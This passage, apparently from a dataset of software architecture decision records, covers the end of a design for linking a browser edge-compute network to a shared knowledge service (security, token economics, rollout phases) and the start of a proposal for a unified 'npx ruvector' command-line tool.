consensus, |\n | embeddings |\n +-------------+\n```\n\n### 3.2 Data Flow: Brain Operation Distributed to Edge\n\n```\n1. Brain receives search query via MCP or REST\n |\n2. Brain decomposes into distributable subtasks\n |\n3. Subtasks sent to relay as compute tasks\n |\n4. Relay fans out to available edge nodes\n |\n5. Edge nodes execute (HNSW search, embedding, etc.)\n |\n6. Results return through relay to brain\n |\n7. Brain aggregates, applies quality gating\n |\n8. Edge nodes credited rUv via genesis ledger\n```\n\n### 3.3 MCP Protocol Bridge\n\nEdge-net's `WasmMcpServer` already implements the MCP JSON-RPC protocol with tools like `vector_search`, `generate_embedding`, `credit_balance`, and `coherence_stats`. The brain exposes 22 tools via SSE MCP at `/sse`. The relay bridges these two MCP surfaces:\n\n```\n Browser WASM Node Relay Pi Brain\n +-----------------+ +-------------------+ +------------------+\n | WasmMcpServer | | | | SSE MCP Server |\n | (MessagePort) |--->| WebSocket in | | /sse endpoint |\n | | | MCP JSON-RPC out |--->| 22 tools |\n | Tools: | | | | |\n | - vector_search | | Maps edge tools | | Tools: |\n | - embedding | | to brain tools | | - brain_search |\n | - lora_forward | | + rUv accounting | | - brain_share |\n | - credit_balance| | | | - brain_sync |\n +-----------------+ +-------------------+ +------------------+\n```\n\n## 4. Integration Points\n\n### 4.1 Identity Mapping\n\nEdge-net uses Pi-Key identity (Ed25519 keys, 314-bit Pi-sized). The brain uses SHAKE-256 contributor pseudonyms derived from API keys. The integration maps between them:\n\n- Edge node's Pi-Key public key is registered with the brain as a contributor identity\n- The relay derives a brain-compatible pseudonym from the Pi-Key using SHAKE-256 over the Ed25519 public key bytes\n- All brain operations from edge nodes carry this derived pseudonym for attribution\n- Witness chains in the brain record the Pi-Key signature alongside the pseudonym\n\n### 4.2 Knowledge Synchronization\n\nEdge-net's collective memory (hippocampal replay, HNSW-indexed patterns) synchronizes with the brain's knowledge graph:\n\n| Edge-Net Component | Brain Component | Sync Direction |\n|-------------------|-----------------|----------------|\n| `CollectiveMemory` patterns | Brain memories (knowledge graph) | Bidirectional |\n| `EntropyConsensus` decisions | Brain quality scores (Bayesian) | Edge -> Brain |\n| `NetworkLearning` trajectories | Brain `LearnedPattern` entries | Edge -> Brain |\n| MicroLoRA adapter weights | Brain LoRA consensus weights | Brain -> Edge |\n| HNSW index state | Brain embedding space | Brain -> Edge (delta sync) |\n\n### 4.3 Entropy Consensus for Quality Voting\n\nEdge-net's entropy-based consensus (Shannon entropy minimization with DeGroot belief mixing) provides a distributed quality signal for brain knowledge. When multiple edge nodes encounter the same brain memory during task execution, their independent quality assessments converge via entropy consensus. The consensus result feeds back to the brain as a distributed Bayesian update, supplementing individual `brain_vote` calls with collective judgment.\n\n### 4.4 RAC Coherence Integration\n\nEdge-net's adversarial coherence engine (RAC, 12 axioms) protects the integrity of shared patterns. When edge nodes share patterns derived from brain knowledge, RAC ensures:\n\n- **Axiom 6 (Disagreement is signal)**: Conflicting edge assessments of brain knowledge trigger investigation\n- **Axiom 9 (Quarantine is mandatory)**: Suspicious patterns from untrusted nodes are quarantined before reaching the brain\n- **Axiom 11 (Equivocation detectable)**: Merkle tree audit trail prevents nodes from submitting contradictory results\n\n## 5. Distributed Compute Tasks\n\nBrain operations that can be farmed out to edge-net WASM nodes:\n\n### 5.1 Vector Similarity Search\n\nThe brain's HNSW index can be partitioned across edge nodes. Each node holds a shard of the index and executes approximate nearest-neighbor queries locally. The relay collects top-K results from multiple shards and merges them.\n\n- **Edge capability**: `HnswIndex` in `edge-net/src/ai/memory.rs` with 150x speedup over naive search\n- **WASM SIMD**: `simd128` intrinsics accelerate cosine distance on supporting browsers\n- **Shard strategy**: Brain partitions index by domain/namespace; each edge node caches its assigned shard\n\n### 5.2 Embedding Generation\n\nThe brain's `structured_hash_features()` generates lexical n-gram embeddings. The MicroLoRA transform adds learned semantic refinement. Both stages can run on edge nodes:\n\n- **Stage 1 (lexical)**: `structured_hash_features()` is pure computation on text input, runs entirely in WASM\n- **Stage 2 (LoRA transform)**: MicroLoRA forward pass with rank 1-16, `<50us` for rank-1 on edge-net's `AdapterPool`\n- **Consensus weights**: Edge nodes pull the latest LoRA consensus from the brain, ensuring embedding consistency\n\n### 5.3 MinCut Graph Partitioning\n\nThe brain's `SubpolynomialMinCut` algorithm for knowledge graph partitioning can be parallelized:\n\n- **Partition strategy**: Each edge node processes a subgraph assigned by the brain\n- **Merge**: The relay collects partial cuts and the brain computes the global minimum\n- **Use case**: When the knowledge graph grows large, rebalancing partitions benefits from distributed compute\n\n### 5.4 Federated LoRA Training\n\nEdge-net already implements federated learning with Byzantine-tolerant gradient gossip (`GradientGossip` in `edge-net/src/ai/federated.rs`):\n\n- **TopK sparsification**: 90% gradient compression reduces bandwidth\n- **Byzantine detection**: 2-sigma outlier exclusion removes malicious gradients\n- **Differential privacy**: Gaussian noise injection protects individual contributions\n- **Integration**: Edge nodes train MicroLoRA weights on local task patterns; brain aggregates via reputation-weighted federated averaging\n\n### 5.5 Quality Voting\n\nDistributed Bayesian quality updates from edge nodes:\n\n- Each edge node that uses a brain memory during task execution records success/failure\n- Results are aggregated via entropy consensus across participating edge nodes\n- The consensus vote is submitted to the brain as a weighted Bayesian update\n- Brain's quality gating (auto-archive at `quality_score.mean() < 0.3` after 5 observations) benefits from higher observation counts\n\n## 6. Security Model\n\n### 6.1 Identity and Authentication\n\n| Layer | Mechanism | Purpose |\n|-------|-----------|---------|\n| Edge node identity | Pi-Key Ed25519 (314-bit) | Per-node cryptographic identity |\n| Brain contributor pseudonym | SHAKE-256 of Pi-Key public key | Brain-compatible attribution |\n| Operation signing | Ed25519 signatures on task results | Non-repudiation |\n| Brain witness chains | Append-only signed chain | Audit trail for all contributions |\n\n### 6.2 Byzantine Fault Tolerance\n\nEdge nodes are untrusted by default. The system provides multiple layers of protection:\n\n- **Gradient poisoning**: `ByzantineDetector` in federated.rs excludes gradients beyond 2 standard deviations from the reputation-weighted mean\n- **Result validation**: Brain cross-checks edge search results against local index for random samples (probabilistic verification)\n- **Reputation decay**: Nodes that submit invalid results lose reputation, reducing their influence on future aggregation\n- **RAC quarantine**: Patterns from low-reputation nodes enter quarantine before affecting brain state\n\n### 6.3 Sybil Resistance\n\nSybil resistance uses layered defenses instead of high staking barriers, ensuring the network remains accessible to newcomers while protecting against abuse:\n\n| Defense Layer | Mechanism | Purpose |\n|---------------|-----------|---------|\n| Proof of Work | First contribution requires completing 1 compute task | Proves real compute capacity; blocks zero-cost identity creation |\n| Rate Limiting | 100 writes/hour per identity | Bounds the damage any single Sybil identity can cause |\n| Quality Gating | Shared knowledge must pass RAC coherence check (score > 0.5) | Prevents low-quality spam from polluting the brain |\n| Progressive Trust | Higher reputation tiers unlock higher rate limits and priority | Long-term good behavior is expensive to fake across many identities |\n| Reputation Decay | 1% decay per epoch (see `ReputationCurve.apply_decay()`) | Abandoned Sybil identities lose influence automatically |\n\nStaking remains available as an optional mechanism (see Section 8.3) but is not required for basic participation. Nodes that submit invalid results (as detected by probabilistic verification or Byzantine detection) have their reputation slashed, which is more effective than financial slashing alone because reputation takes sustained effort to rebuild.\n\n### 6.4 Data Privacy\n\n- Edge nodes receive only the data needed for their assigned subtask (need-to-know)\n- Search queries are decomposed so no single edge node sees the full query context\n- LoRA gradients are protected by differential privacy (Gaussian noise with configurable epsilon)\n- The relay strips personally identifiable metadata before forwarding to edge nodes\n\n## 7. API Bridge Design\n\nThree integration options, ordered by implementation simplicity:\n\n### Option A: Direct REST (recommended for Phase 1)\n\nEdge-net nodes call the brain's REST API directly through the relay proxy.\n\n```\nEdge Node --[WS]--> Relay --[HTTPS]--> pi.ruv.io/v1/memories/search\n pi.ruv.io/v1/memories (POST)\n pi.ruv.io/v1/lora/latest\n```\n\n- Simplest to implement: relay proxies HTTP requests with Pi-Key authentication headers\n- Each edge node's requests are independently rate-limited at the relay\n- No persistent connection required between relay and brain\n\n### Option B: Relay-Proxied Batch (recommended for Phase 2)\n\nThe relay batches requests from multiple edge nodes into bulk brain API calls.\n\n```\nEdge Nodes --[WS]--> Relay --[HTTPS bulk]--> pi.ruv.io/v1/batch\n```\n\n- Reduces brain API call count when many edge nodes query simultaneously\n- Relay aggregates search queries, deduplicates, and fans results back to requesting nodes\n- Requires a `/v1/batch` endpoint on the brain (new development)\n\n### Option C: SSE MCP Bridge (recommended for Phase 3)\n\nThe relay maintains a persistent SSE MCP session with the brain and multiplexes edge node requests over it.\n\n```\nEdge Nodes --[WS/MCP]--> Relay --[SSE MCP]--> pi.ruv.io/sse\n```\n\n- Full tool access: all 22 brain MCP tools available to edge nodes\n- Persistent connection amortizes SSE setup overhead\n- Relay maintains a single SSE session per brain region, multiplexing edge requests\n- Requires MCP session management in the relay (handles reconnection, session affinity)\n\n## 8. Economic Model\n\nThe economic model is designed around two principles: **accessible** (no barriers to entry) and **sustainable** (finite supply with controlled inflation). The previous model required 10-200 rUv staking to participate, creating a chicken-and-egg problem for new users. The revised model eliminates cost barriers entirely and uses contribution rewards to bootstrap the economy.\n\n### 8.1 Free-to-Read, Earn-to-Write\n\nAll read operations are FREE. No rUv cost, no staking requirement. This removes the single biggest barrier to adoption. Write operations are also free to perform but earn rUv rewards when quality thresholds are met.\n\n| Operation | Cost | Reward | Conditions |\n|-----------|------|--------|------------|\n| Search brain | FREE | 0 rUv | -- |\n| Get brain status | FREE | 0 rUv | -- |\n| List memories | FREE | 0 rUv | -- |\n| Share knowledge | FREE | 2 rUv | Quality score > 0.5 after RAC review |\n| Vote on quality | FREE | 0.1 rUv | Must have completed >= 1 task |\n| Generate embedding | FREE | 1 rUv | Result passes hash verification |\n| LoRA gradient | FREE | 5 rUv | Gradient passes Byzantine detection |\n| WASM compute | FREE | 0.5-3 rUv | Based on compute time and success rate |\n\nImplementation reference: rewards are credited via `WasmCreditLedger.credit()` in `examples/edge-net/src/credits/mod.rs`. The ledger's CRDT merge (`WasmCreditLedger.merge()`) ensures consistency across P2P nodes.\n\n### 8.2 Contribution Curve (Revised)\n\nThe contribution curve rewards early adopters without being extractive. The formula is updated from the existing `ContributionCurve` in `examples/edge-net/src/credits/mod.rs`:\n\n```\nmultiplier = FLOOR + (MAX_BONUS - FLOOR) * e^(-network_compute / DECAY_CONSTANT)\n```\n\n| Parameter | Old Value | New Value | Rationale |\n|-----------|-----------|-----------|-----------|\n| `MAX_BONUS` | 10x | 5x | Still rewards early adopters, less extractive |\n| `FLOOR_MULTIPLIER` | 1x (implicit) | 0.5x | Even mature network still pays something |\n| `DECAY_CONSTANT` | 1,000,000 CPU-hours | 1,000,000 CPU-hours | Unchanged |\n\nAt genesis (0 compute-hours), multiplier is 5x. As total network compute grows, multiplier decays toward 0.5x. This means:\n\n| Network Compute | Multiplier |\n|----------------|------------|\n| 0 hours (genesis) | 5.0x |\n| 100K hours | 4.6x |\n| 500K hours | 2.9x |\n| 1M hours | 1.9x |\n| 5M hours | 0.5x |\n\nThe `ContributionCurve::current_multiplier()` implementation must be updated to use the revised constants. The `FLOOR_MULTIPLIER` ensures contributors always earn something, even when the network is mature.\n\n### 8.3 Reputation Tiers (Revised)\n\nReputation tiers use the existing `ReputationTier` enum from `examples/edge-net/src/economics/reputation.rs` but add a Newcomer tier and make staking optional:\n\n| Tier | Score | Reward Mult | Staking Required | Access |\n|------|-------|-------------|-----------------|--------|\n| Newcomer | 0-10 | 0.5x | None | Read-only free, writes earn at 0.5x |\n| Bronze | 10-25 | 1.0x | 0 rUv | Full read/write, standard rewards |\n| Silver | 25-50 | 1.1x | 10 rUv (optional) | Priority task allocation |\n| Gold | 50-75 | 1.25x | 50 rUv (optional) | Price discounts via `ReputationCurve.discount()`, priority |\n| Platinum | 75-100 | 1.5x | 100 rUv (optional) | Max discounts, governance voting weight |\n\nKey changes from the previous model:\n- **Staking is OPTIONAL.** It provides benefits (price discounts, governance weight) but is not required for basic participation. This eliminates the chicken-and-egg problem where new users need rUv to participate but cannot earn rUv without participating.\n- **Newcomer tier added.** Score 0-10 earns at 0.5x rate, providing immediate earning capability.\n- **Reward multipliers** are applied via `ReputationTier::reward_multiplier()` which already implements the 1.0x/1.1x/1.25x/1.5x tiers in the codebase.\n\n### 8.4 Halving Schedule\n\nBrain rewards halve every 100K brain operations (cumulative across all nodes). This creates a Bitcoin-like deflationary schedule that ensures finite total rUv supply:\n\n| Epoch | Cumulative Operations | Base Reward Multiplier |\n|-------|-----------------------|----------------------|\n| 0 | 0 - 100K | 1.0x |\n| 1 | 100K - 200K | 0.5x |\n| 2 | 200K - 400K | 0.25x |\n| 3 | 400K - 800K | 0.125x |\n| N | ... | 1/(2^N)x |\n\nThe halving multiplier stacks with the contribution curve and reputation tier multipliers:\n\n```\neffective_reward = base_reward * contribution_multiplier * tier_multiplier * halving_multiplier\n```\n\nThis creates urgency for early participation (higher halving multiplier) without the aggressive 10x genesis bonus that the old contribution curve provided.\n\n### 8.5 Protocol Budget\n\nEach epoch has a fixed rUv budget to prevent runaway inflation:\n\n| Parameter | Value | Rationale |\n|-----------|-------|-----------|\n| Initial epoch budget | 1,000,000 rUv | Sufficient for ~200K reward operations at average 5 rUv |\n| Budget carry-over | Yes | Unspent budget rolls to next epoch |\n| Budget exhaustion behavior | Rewards pause until next epoch | Hard cap prevents inflation |\n| Epoch duration | 7 days or 100K operations, whichever comes first | Bounds both time and volume |\n\nThe protocol fund is managed by `EconomicEngine.get_protocol_fund()`. The `ComputeAMM` in `examples/edge-net/src/economics/amm.rs` provides secondary revenue through trading fees (0.3%-3% dynamic fee based on pool utilization) that supplement the protocol budget after the bootstrap phase.\n\n### 8.6 Sybil Resistance (Economic)\n\nInstead of requiring high staking barriers (the old model required 10-200 rUv to participate), the revised model uses layered economic defenses:\n\n| Defense | Mechanism | Implementation |\n|---------|-----------|----------------|\n| Proof of Work | First contribution requires completing 1 compute task | Proves real compute capacity; blocks zero-cost Sybil creation |\n| Rate limiting | 100 writes/hour per identity | Bounds damage per identity; implemented at relay level |\n| Quality gating | Shared knowledge must pass RAC coherence check | `AdversarialCoherence` score > 0.5 required |\n| Progressive trust | Higher tiers unlock higher rate limits and priority | `ReputationCurve.select_nodes_for_task()` weights by reputation |\n| Reputation cost | Reputation takes sustained effort to build (diminishing returns in `record_task()`) | More expensive to maintain many Sybil identities than one real identity |\n\n### 8.7 Sustainability Analysis\n\nThe revised model is sustainable because total rUv supply converges:\n\n**Finite supply proof.** With halving schedule and fixed epoch budget:\n- Epoch 0: up to 1,000,000 rUv minted\n- Epoch 1: up to 500,000 rUv\n- Epoch N: up to 1,000,000 / 2^N rUv\n- Total maximum supply = 1,000,000 * sum(1/2^N for N=0..inf) = 2,000,000 rUv\n\n**Revenue sources by phase:**\n\n| Phase | Duration | Primary Revenue | Secondary Revenue |\n|-------|----------|----------------|-------------------|\n| Bootstrap (0-10K nodes) | Months 1-6 | Protocol fund subsidy | None |\n| Growth (10K-100K nodes) | Months 6-18 | Protocol fund + AMM fees | Brain API consumer payments |\n| Self-sustaining (100K+ nodes) | Month 18+ | AMM fees + consumer payments | Liquidity provider fees |\n\n**Deflationary pressure.** As brain knowledge grows, rUv utility increases (more valuable knowledge to access, more compute tasks available). The AMM's constant-product formula (`x * y = k` in `ComputeAMM`) ensures that as demand for compute grows, the rUv price of compute increases, creating natural deflationary pressure.\n\n**Protocol fund sufficiency.** At 2,000,000 rUv maximum supply and projected 50K operations/month at maturity, the protocol fund sustains rewards for 24+ months even without secondary revenue. AMM fees (0.3%-3% of all swaps, tracked via `ComputeAMM.fees_collected`) provide a sustainable revenue stream after bootstrap.\n\n## 9. Implementation Phases\n\n### Phase 1: REST Bridge (Weeks 1-3)\n\n1. Add Pi-Key to brain pseudonym derivation in the relay\n2. Implement relay HTTP proxy to brain REST API with rate limiting\n3. Add `brain_search` and `brain_share` proxy commands to edge-net's `WasmMcpServer`\n4. Edge nodes can search brain knowledge and share patterns via relay\n5. rUv accounting for search and share operations\n\n### Phase 2: Distributed Search (Weeks 4-6)\n\n1. Brain partitions HNSW index into shards by namespace\n2. Relay distributes shard assignments to edge nodes\n3. Edge nodes cache assigned shards and execute local HNSW queries\n4. Relay merges top-K results from multiple edge nodes\n5. Probabilistic verification: brain spot-checks 5% of edge search results\n\n### Phase 3: Federated Intelligence (Weeks 7-10)\n\n1. SSE MCP bridge between relay and brain\n2. Edge nodes pull brain LoRA consensus weights and generate embeddings locally\n3. Federated LoRA training: edge nodes contribute gradients from local task patterns\n4. Entropy consensus quality voting feeds back to brain Bayesian scores\n5. Collective memory synchronization between edge-net and brain knowledge graph\n\n## 10. Monitoring\n\n### 10.1 Integration Metrics\n\n| Metric | Source | Alert Threshold |\n|--------|--------|-----------------|\n| Edge-to-brain request latency (p99) | Relay logs | > 500ms |\n| Brain search delegation rate | Brain metrics | < 10% (not using edge) |\n| Edge node participation rate | Genesis ledger | < 50 active nodes |\n| Byzantine rejection rate | Relay metrics | > 5% of submissions |\n| rUv earned per edge node (daily avg) | Genesis ledger | < 1 rUv (nodes leaving) |\n| LoRA consensus drift | Brain LoRA metrics | Cosine distance > 0.1 from last epoch |\n\n### 10.2 Dashboard Integration\n\nThe existing `edge-net-dashboard` (React, Cloud Run) is extended with:\n\n- Brain integration status panel (relay connection health, brain API availability)\n- Per-node brain contribution metrics (searches executed, embeddings generated, rUv earned)\n- Network-wide federated learning progress (consensus convergence, gradient acceptance rate)\n- Knowledge flow visualization (patterns shared edge -> brain, knowledge pulled brain -> edge)\n\n## 11. Risks and Mitigations\n\n| Risk | Impact | Mitigation |\n|------|--------|------------|\n| Edge nodes return stale search results from outdated shards | Degraded search quality | Shard version headers; brain rejects results from outdated shards |\n| Relay becomes single point of failure | Edge-brain integration offline | Deploy relay in multiple regions; edge nodes failover to direct brain REST |\n| LoRA gradient poisoning from compromised edge nodes | Corrupted brain consensus | Byzantine detection (2-sigma exclusion), reputation-weighted aggregation, differential privacy |\n| rUv inflation from brain subsidies | Devalued rUv economy | Fixed protocol fund budget per epoch; halving schedule aligned with genesis sunset |\n| High browser compute costs deter edge participation | Low node count | Battery-aware throttling, configurable CPU limits (10-50%), clear rUv earning visibility |\n| Brain API rate limits block edge relay | Throttled integration | Relay batches requests; brain allowlists relay IP with higher rate limits |\n| Privacy leak through search query distribution | User data exposure | Query decomposition, differential privacy on inputs, need-to-know distribution |\n\n## 12. Acceptance Criteria\n\n### Phase 1\n\n- [ ] Edge node can execute `brain_search` through relay and receive results\n- [ ] Edge node can execute `brain_share` to publish a pattern to brain knowledge graph\n- [ ] Pi-Key identity correctly maps to brain contributor pseudonym\n- [ ] rUv credited for search and share operations via genesis ledger\n- [ ] Rate limiting prevents single edge node from overwhelming brain API\n\n### Phase 2\n\n- [ ] Brain HNSW index partitioned into at least 4 shards\n- [ ] Edge nodes cache assigned shards and return search results within 200ms\n- [ ] Merged results from edge nodes match single-origin results at 95% recall\n- [ ] Probabilistic verification catches intentionally wrong results > 90% of the time\n- [ ] Dashboard shows per-node search contribution metrics\n\n### Phase 3\n\n- [ ] Edge nodes pull LoRA consensus and generate embeddings consistent with brain\n- [ ] Federated gradient gossip produces consensus within 5% cosine distance of centralized training\n- [ ] Entropy consensus quality votes appear in brain quality scores within one epoch\n- [ ] Collective memory sync operates bidirectionally without data loss\n- [ ] SSE MCP bridge maintains persistent connection with automatic reconnection\n\n### Economics\n\n- [ ] New users can search brain without any rUv balance or staking\n- [ ] Newcomer tier (score 0-10) earns rUv at 0.5x rate\n- [ ] `ContributionCurve` updated with `MAX_BONUS = 5.0` and `FLOOR_MULTIPLIER = 0.5`\n- [ ] Halving schedule reduces base reward multiplier after every 100K cumulative operations\n- [ ] Protocol budget limits per-epoch rUv minting to 1,000,000 rUv\n- [ ] Staking is optional (not required for basic participation at Newcomer or Bronze tiers)\n- [ ] Rate limiting enforced at 100 writes/hour per identity\n- [ ] Quality gating requires RAC coherence score > 0.5 for shared knowledge\n- [ ] AMM fee revenue tracked and reported on dashboard\n\n## 13. Related ADRs\n\n| ADR | Relationship |\n|-----|-------------|\n| ADR-059 | Shared Brain Google Cloud -- brain deployment architecture that edge-net integrates with |\n| ADR-060 | Shared Brain Capabilities -- federated MicroLoRA and knowledge substrate that edge-net extends |\n| ADR-062 | Brainpedia Architecture -- knowledge pages that edge-net quality voting improves |\n| ADR-063 | WASM Executable Nodes -- WASM node system that edge-net browser nodes share technology with |\n| ADR-064 | Pi Brain Infrastructure -- Cloud Run deployment, custom domains, persistence layer |\n| ADR-066 | SSE MCP Transport -- the MCP transport that the Phase 3 bridge connects to |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-069-google-edge-network-deployment.md", "created_at": "2026-03-28T11:58:49.705284+00:00", "content_hash": "4cf78f6e0fa3446f91a24faf6d6585e31e7c4a7ad5971113033ea1a4cad2becd"} +{"id": "27e19b7e-33d6-44cc-8e9a-58114dab138b", "source": "adr", "text": "# ADR-070: npx ruvector Unified Integration\n\n**Status**: Proposed\n**Date**: 2026-02-28\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-065 (npm Publishing Strategy), ADR-064 (Pi Brain Infrastructure), ADR-066 (SSE MCP Transport), ADR-069 (Edge-Net Integration)\n\n## 1. Context\n\nThe RuVector npm ecosystem has grown to 55+ packages across multiple concerns:\n\n- **`ruvector`** (v0.1.100): Core vector database with native/WASM/RVF backend auto-detection, CLI (`npx ruvector`), GNN wrappers, SONA embeddings, ONNX, parallel intelligence\n- **`@ruvector/pi-brain`**: Pi brain CLI + SDK + MCP stdio proxy for the shared intelligence at `pi.ruv.io`\n- **`@ruvector/edge-net`**: Distributed P2P browser compute network (WASM, Web Workers, rUv credits)\n- **50+ other packages**: solver, rvf, gnn, attention, sona, ruvllm, tiny-dancer, ospipe, etc.\n\nThese systems are independently installable and operate in isolation. There is no unified entry point that lets a user:\n1. Access the shared brain from the CLI\n2. Join the edge compute network from Node.js\n3. Start an MCP server that bridges all capabilities\n4. Manage their \u03c0 identity and rUv credits from one place\n\nThe `ruvector` CLI already has a `commander`-based command structure with subcommands for vector operations (insert, search, benchmark, etc.). Extending it to include brain, edge, and MCP integration creates a single `npx ruvector` entry point for the entire ecosystem.\n\n## 2. Decision\n\nExtend the existing `ruvector` CLI with three new command groups: `brain`, `edge`, and `mcp`. These commands call into `@ruvector/pi-brain` and `@ruvector/edge-net` as optional peer dependencies \u2014 they are lazy-loaded only when invoked, so the core `ruvector` package remains lightweight.\n\n```\nnpx ruvector brain share \"JWT refresh pattern\" --category pattern\nnpx ruvector brain search \"auth\" --limit 10\nnpx ruvector edge status\nnpx ruvector edge join --contribution 0.3\nnpx ruvector mcp start --transport sse --url https://pi.ruv.io\nnpx ruvector identity generate\nnpx ruvector identity show\n```\n\n## 3. Architecture\n\n### 3.1 Command Hierarchy\n\n```\nnpx ruvector\n \u251c\u2500\u2500 insert (existing) Vector insert\n \u251c\u2500\u2500 search (existing) Vector search\n \u251c\u2500\u2500 benchmark (existing) Performance benchmark\n \u251c\u2500\u2500 info (existing) System info\n \u2502\n \u251c\u2500\u2500 brain (NEW) Shared intelligence\n \u2502 \u251c\u2500\u2500 share Share knowledge\n \u2502 \u251c\u2500\u2500 search Semantic search\n \u2502 \u251c\u2500\u2500 get Retrieve by ID\n \u2502 \u251c\u2500\u2500 vote Quality vote\n \u2502 \u251c\u2500\u2500 list List memories\n \u2502 \u251c\u2500\u2500 delete Delete own\n \u2502 \u251c\u2500\u2500 transfer Domain transfer\n \u2502 \u251c\u2500\u2500 drift Check drift\n \u2502 \u251c\u2500\u2500 partition Knowledge topology\n \u2502 \u251c\u2500\u2500 status System health\n \u2502 \u251c\u2500\u2500 sync LoRA weight sync\n \u2502 \u251c\u2500\u2500 page Brainpedia CRUD\n \u2502 \u2514\u2500\u2500 node WASM node publish\n \u2502\n \u251c\u2500\u2500 edge (NEW) Distributed compute\n \u2502 \u251c\u2500\u2500 status Network status (genesis, relay, nodes)\n \u2502 \u251c\u2500\u2500 join Join as compute node\n \u2502 \u251c\u2500\u2500 balance Check rUv balance\n \u2502 \u251c\u2500\u2500 tasks List available compute tasks\n \u2502 \u2514\u2500\u2500 dashboard Open dashboard URL\n \u2502\n \u251c\u2500\u2500 mcp (NEW) MCP server management\n \u2502 \u251c\u2500\u2500 start Start MCP server (stdio or SSE)\n \u2502 \u251c\u2500\u2500 tools List available MCP tools\n \u2502 \u2514\u2500\u2500 test Test MCP connection\n \u2502\n \u2514\u2500\u2500 identity (NEW) \u03c0 identity management\n \u251c\u2500\u2500 generate Generate new \u03c0 key\n \u251c\u2500\u2500 show Display current pseudonym\n \u251c\u2500\u2500 export Export key for backup\n \u2514\u2500\u2500 import Import key from backup\n```\n\n### 3.2 Dependency Strategy\n\n```\nruvector (core)\n \u251c\u2500\u2500 commander, chalk, ora (bundled)\n \u251c\u2500\u2500 @ruvector/core (optional - native backend)\n \u251c\u2500\u2500 @ruvector/rvf (optional - RVF backend)\n \u2502\n \u251c\u2500\u2500 @ruvector/pi-brain (optional peer dep - brain commands)\n \u2502 \u2514\u2500\u2500 @modelcontextprotocol/sdk\n \u2502\n \u2514\u2500\u2500 @ruvector/edge-net (optional peer dep - edge commands)\n \u2514\u2500\u2500 wasm-bindgen (WASM runtime)\n```\n\nWhen a user runs `npx ruvector brain search \"auth\"` without `@ruvector/pi-brain` installed, the CLI prints:\n\n```\nEdge command requires @ruvector/pi-brain. Install with:\n npm install @ruvector/pi-brain\n```\n\nThis keeps the core package at ~2MB while allowing the full ecosystem to be progressively adopted.\n\n### 3.3 Environment Configuration\n\nAll commands read from a unified config hierarchy:\n\n| Source | Priority | Example |\n|--------|----------|---------|\n| CLI flags | 1 (highest) | `--url https://pi.ruv.io` |\n| Environment vars | 2 | `PI=key`, `BRAIN_URL=url` |\n| `.env` file | 3 | `PI=abc123...` in project root |\n| `~/.ruvector/config.json` | 4 | Global config |\n| Defaults | 5 (lowest) | `https://pi.ruv.io` |\n\nThe \u03c0 key (`PI` env var) is shared across brain, edge, and MCP commands. One identity, one key, three systems.\n\n### 3.4 Identity Derivation Chain\n\n```\nUser's \u03c0 key (64 hex chars)\n \u2502\n \u251c\u2500\u2500 SHAKE-256(key) \u2500\u2500\u25ba Brain pseudonym (contributor ID)\n \u2502 Used for: brain share, vote, delete\n \u2502\n \u251c\u2500\u2500 Ed25519(key) \u2500\u2500\u2500\u2500\u25ba Edge Pi-Key (node identity)\n \u2502 Used for: edge join, rUv transactions\n \u2502\n \u2514\u2500\u2500 HMAC-SHA256(key, \"mcp\") \u2500\u2500\u25ba MCP session token\n Used for: SSE MCP auth\n```\n\nA single key derives three identities through different cryptographic paths. The SHAKE-256 path matches the brain server's `auth.rs` pseudonym derivation. The Ed25519 path matches edge-net's `pikey` module. The HMAC path provides MCP session auth.\n\n## 4. New CLI Commands\n\n### 4.1 `ruvector brain`\n\nWraps `@ruvector/pi-brain`'s `PiBrainClient`:\n\n```typescript\n// Lazy load\nconst { PiBrainClient } = await import('@ruvector/pi-brain');\nconst client = new PiBrainClient({ url: opts.url, key: opts.key });\n```\n\n| Command | Maps to | Description |\n|---------|---------|-------------|\n| `brain share -c <category> -t <tags>` | `POST /v1/memories` | Share knowledge |\n| `brain search <query> -l <limit>` | `GET /v1/memories/search` | Semantic search |\n| `brain get <id>` | `GET /v1/memories/:id` | Retrieve with provenance |\n| `brain vote <id> <up\\|down>` | `POST /v1/memories/:id/vote` | Quality vote |\n| `brain list [-c category] [-l limit]` | `GET /v1/memories/list` | List memories |\n| `brain delete <id>` | `DELETE /v1/memories/:id` | Delete own contribution |\n| `brain transfer <source> <target>` | `POST /v1/transfer` | Domain transfer |\n| `brain drift [--domain <d>]` | `GET /v1/drift` | Drift detection |\n| `brain partition [--domain <d>]` | `GET /v1/partition` | Knowledge topology |\n| `brain status` | `GET /v1/status` | System health |\n| `brain sync [pull\\|push\\|both]` | `POST /v1/lora/submit` | LoRA sync |\n\n### 4.2 `ruvector edge`\n\nWraps `@ruvector/edge-net` for Node.js (non-browser) usage:\n\n| Command | Description |\n|---------|-------------|\n| `edge status` | Query genesis node for network stats, rUv supply, sunset phase |\n| `edge join --contribution 0.3` | Join as compute node (headless, Node.js Web Worker polyfill) |\n| `edge balance` | Check rUv balance for current identity |\n| `edge tasks` | List available distributed compute tasks |\n| `edge dashboard` | Open edge-net dashboard in browser |\n\nEdge commands hit the deployed services:\n- Genesis: `https://edge-net-genesis-875130704813.us-central1.run.app`\n- Relay: `https://edge-net-relay-875130704813.us-central1.run.app`\n- Dashboard: `https://edge-net-dashboard-875130704813.us-central1.run.app`\n\n### 4.3 `ruvector mcp`\n\nManages MCP server lifecycle:\n\n| Command | Description |\n|---------|-------------|\n| `mcp start` | Start stdio MCP server (default, for `claude mcp add`) |\n| `mcp start --transport sse --port 8080` | Start SSE MCP server locally |\n| `mcp tools` | List all 22 available MCP tools |\n| `mcp test` | Send test JSON-RPC to verify connection |\n\nThe `mcp start` command replaces `cargo run -p mcp-brain` for users who don't have Rust installed:\n\n```bash\n# Before (requires Rust toolchain)\nclaude mcp add pi-brain -- cargo run -p mcp-brain\n\n# After (just Node.js)\nclaude mcp add pi-brain -- npx ruvector mcp start\n```\n\n### 4.4 `ruvector identity`\n\nManages the \u03c0 key:\n\n| Command | Description |\n|---------|-------------|\n| `identity generate` | Generate new \u03c0 key, display, copy to clipboard |\n| `identity show` | Show current key's pseudonym, edge Pi-Key, reputation |\n| `identity export` | Export key to file (encrypted with passphrase) |\n| `identity import <file>` | Import key from encrypted backup |\n\n## 5. Implementation\n\n### 5.1 File Changes\n\n| File | Change |\n|------|--------|\n| `npm/packages/ruvector/bin/cli.js` | Add `brain`, `edge`, `mcp`, `identity` command groups |\n| `npm/packages/ruvector/package.json` | Add `@ruvector/pi-brain` 